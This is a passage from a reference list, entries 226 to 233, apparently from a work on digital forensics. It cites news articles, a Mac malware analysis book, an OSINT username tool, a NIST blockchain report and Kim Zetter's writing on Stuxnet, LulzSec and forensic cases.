[226] Tim Wallace et al. "What We Know About the Suspect in the Capital Gazette Shooting". In: *The New York Times* (June 2018). URL: https://www.nytimes.com/2018/06/29/us/jarrod-ramos-capital-gazette-shooting.html.

[227] Patrick Wardle. *The Art of Mac Malware: The Guide to Analyzing Malicious Software*. Provides deep insight into macOS internals relevant to forensics, including quarantine and Gatekeeper. No Starch Press, 2021. ISBN: 9781718501942.

[228] WebBreacher. *WhatsMyName Project*. GitHub Repository. 2023. URL: https://github.com/WebBreacher/WhatsMyName.

[229] Dylan Yaga et al. *Blockchain Technology Overview*. Tech. rep. NISTIR 8202. National Institute of Standards and Technology, 2018. DOI: 10.6028/NIST.IR.8202. URL: https://nvlpubs.nist.gov/nistpubs/ir/2018/NIST.IR.8202.pdf.

[230] Kim Zetter. "The Prosecution of Julie Amero: A Case of Flawed Forensics". In: *Wired* (Mar. 2007). URL: https://www.wired.com/2007/03/the-prosecution/.

[231] Kim Zetter. "Unmasked: How the Feds Uncovered the Secrets of LulzSec". In: *Wired* (Nov. 2011). URL: https://www.wired.com/2011/11/lulzsec-unmasked/.

[232] Kim Zetter. *Countdown to Zero Day: Stuxnet and the Launch of the World's First Digital Weapon*. Crown, 2014. ISBN: 978-0770436179.

[233] Kim Zetter. "The Inside Story of the iPhone 5c an Unwitting Teen Hacker Taught the FBI to Unlock". In: *Wired* (Apr. 2018). URL: https://www.wired.com/story/the-inside-story-of-the-iphone-5c-and-an-unwitting-teen-hacker-taught-the-fbi-to-unlock/.